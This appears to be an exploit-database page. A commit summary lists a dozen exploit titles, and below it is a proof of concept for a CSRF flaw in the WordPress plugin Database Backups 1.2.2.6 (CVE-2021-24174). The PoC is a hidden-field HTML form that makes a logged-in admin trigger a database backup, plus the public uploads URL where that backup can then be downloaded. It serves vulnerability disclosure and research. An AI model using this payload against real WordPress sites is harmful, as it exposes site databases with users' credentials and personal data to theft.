680a0b6cea
12 changes to exploits/shellcodes WordPress Plugin WP Statistics 13.0.7 - Time-Based Blind SQL Injection (Unauthenticated) Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS) Cerberus FTP Web Service 11 - 'svg' Stored Cross-Site Scripting (XSS) Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF) OpenEMR 5.0.0 - Remote Code Execution (Authenticated) WordPress Plugin Database Backups 1.2.2.6 - 'Database Backup Download' CSRF Grocery crud 1.6.4 - 'order_by' SQL Injection Solar-Log 500 2.8.2 - Incorrect Access Control Solar-Log 500 2.8.2 - Unprotected Storage of Credentials Zenario CMS 8.8.52729 - 'cID' Blind & Error based SQL injection (Authenticated) WoWonder Social Network Platform 3.1 - Authentication Bypass
20 lines
No EOL
816 B
HTML
20 lines
No EOL
816 B
HTML
# Exploit Title: WordPress Plugin Database Backups 1.2.2.6 - 'Database Backup Download' CSRF
|
|
# Date: 2/10/2021
|
|
# Author: 0xB9
|
|
# Software Link: https://wordpress.org/plugins/database-backups/
|
|
# Version: 1.2.2.6
|
|
# Tested on: Windows 10
|
|
# CVE: CVE-2021-24174
|
|
|
|
1. Description:
|
|
This plugin allows admins to create and download database backups. A CSRF can create DB backups stored publicly in the uploads directory.
|
|
|
|
2. Proof of Concept:
|
|
|
|
<form action="http://localhost/wp-admin/tools.php?page=database-backups" method="post">
|
|
<input type="hidden" name="do_backup_manually" value="1">
|
|
<input type="submit" class="button button-primary" value="Do backup" autocomplete="off">
|
|
</form>
|
|
|
|
Backups can be accessed by the following URL.
|
|
http://localhost/wp-content/uploads/database-backups/ |